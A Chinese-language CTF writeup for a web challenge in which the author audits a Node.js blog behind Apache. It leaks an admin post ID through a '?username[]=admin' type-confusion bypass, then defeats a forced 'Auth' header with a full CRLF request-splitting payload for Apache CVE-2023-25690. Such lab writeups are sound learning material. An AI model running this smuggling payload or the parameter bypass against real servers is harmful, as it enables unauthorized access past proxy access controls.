网鼎杯 2020 朱雀组 WEB01 Writeup

开篇废话

今年的 Hackergame 鸽了,作为热身还是做个简单的 web 题(

正文

题目

某单位的资产中无意发现了一个已弃用的博客网站,你能找到其中的安全漏洞,并查看重要信息吗?
提交的flag格式:wdflag{xxxxx}

源码下载

拿到 flag uuid

首先看到 src/db.js 里面,看上去只有管理员的账号能拿到带 flag 的 posts,不过密码是随机生成的。
再回到 routes/api.js 里面找找路由

/login 看上去没什么洞,各种条件判断拉满了。

然后看了下 /search 的路由,感觉因为判断漏了个东西看上去可以获取 admin 的 post uuid :

router.get(../search", mw.requiresLogin, (req, res) => {

    let {username} = req.query;

    if (!username) {
        return res.jsonp({
            success: false,
            error: "Missing username"
        });
    }

    if (username === "admin") {
        return res.jsonp({
            success: false,
            error: "Forbidden !"
        });
    }

这里没有判断 req.query.username 是 string 还是 array (其他路由都有这样的判断),因此可以用脚写个 ?username[]=admin 就绕过去。

这是因为搜索以及数据库的逻辑同时写得很幽默导致的

db.users.forEach((value, key) => {
    if (key == username) {
        value.posts.forEach((id) => {
            list.push(id);
        });
    }
});

db.js:

const users = new Map();
const posts = new Map();

不过这里埋了个坑,直接前端 F12 network 的话是只会看到 dosearch/username/test 的请求,如果按照这个路由的话,那么是没有办法触发漏洞的(然后到后面才知道这里是因为需要才做的)
具体伪静态规则可以在 httpd.conf 找到相关的内容:

RewriteRule "^/do(\w+)/(\w+)/(.+)$" "http://127.0.0.1:3000/api/$1/?$2=$3" [P]
RewriteRule "^/do(\w+)$" "http://127.0.0.1:3000/api/$1" [P]

于是我们登录后请求 /search?username[]=admin 即可拿到第一阶段要的东西 post uuid :

{
    "success": true,
    "list": ["c3a4ec53-29cf-43e2-ae57-f3a8a878396f"]
}

翻车

然后我拿着 uuid 去请求的时候翻车了:
http://127.0.0.1:3000/api/post?id=c3a4ec53-29cf-43e2-ae57-f3a8a878396f 提示:

{
    "success":false,
    "error":"No permission to view this post"
}

于是我们继续审计代码,看到 routes/api.js 里面:

router.get(../post", (req, res) => {
    let {id} = req.query;

    if (!id || typeof id !== "string") {
        return res.jsonp({
            success: false,
            error: "Missing id"
        });
    }

    if (!db.posts.has(id)) {
        return res.jsonp({
            success: false,
            error: "No post found with that id"
        });
    }

    let post = db.posts.get(id);

    if (req.role !== "admin" && !post.isPublic && (!req.user || !req.user.posts.includes(id))) {
        return res.jsonp({
            success: false,
            error: "No permission to view this post"
        });
    }

绕过 header

审计完简单来说就是 post 的 api 有鉴权,
在没有管理员权限 或者文章没公开且文章作者不是自己的话就会提示没有权限,看其他地方我们也没有更改 req.user.posts 的办法,于是我们研究下 req.role 是怎么传入的:
回到了 app.js 里面:

if(req.headers.auth) {
    req.role = req.headers.auth;
}

然后我 curl 带了 -H 'auth: admin' 发现不行(

研究了下发现又是 httpd.conf 也就是 apache 里面的规则导致的:

RequestHeader set Auth "guest"

看上去是会强制覆盖,然后 Auth
AUth
AUTh
AUTH
的头都试过了,看上去也不行。

想来想去于是再看了下 apache 版本:

FROM httpd:2.4.53

找找 CVE 先(

https://httpd.apache.org/security/vulnerabilities_24.html

最后找各种带 payload 的 CVE 定位到了比较像的: CVE-2023-25690

important: HTTP request splitting with mod_rewrite and mod_proxy (CVE-2023-25690)
Some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling attack. Configurations are affected when mod_proxy is enabled along with some form of RewriteRule or ProxyPassMatch in which a non-specific pattern matches some portion of the user-supplied request-target (URL) data and is then re-inserted into the proxied request-target using variable substitution.
For example, something like:
RewriteEngine on
RewriteRule “^/here/(.*)” “http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Request splitting/smuggling could result in bypass of access controls in the proxy server, proxying unintended URLs to existing origin servers, and cache poisoning.
Acknowledgements: finder: Lars Krapf of Adobe
Reported to security team 2023-02-02
fixed by r1908095 in 2.4.x 2023-03-07
Update 2.4.56 released 2023-03-07
Affects 2.4.0 through 2.4.55

这个 CVE 大概就是说在启用 RewriteRule 后,有奇奇怪怪的 pattern 能够绕过 httpd 的处理直接 产 地 直 送 头

看上去就十分适合我们这个题目,于是随便找了个 payload: https://github.com/dhmosfunk/CVE-2023-25690-POC

GET /dopost/id/c3a4ec53-29cf-43e2-ae57-f3a8a878396f%20HTTP/1.1%0d%0aAuth:%20admin%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 127.0.0.1:18888
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

然后收工:

{
    "success":true,
    "name":"Flag",
    "body":"wdflag{test_flag}"
}

总结

虽然是签到题也不轻松啦,感觉主要考经验?
这道题就主要考 Apache 部分了,就我个人的话 username[]=admin 是5分钟内就做出来了,然后覆盖 header 研究确定方向再到找资料花了1小时。
当然可能因为太久没做 CTF 生疏了(





今年真的不做 Hackergame !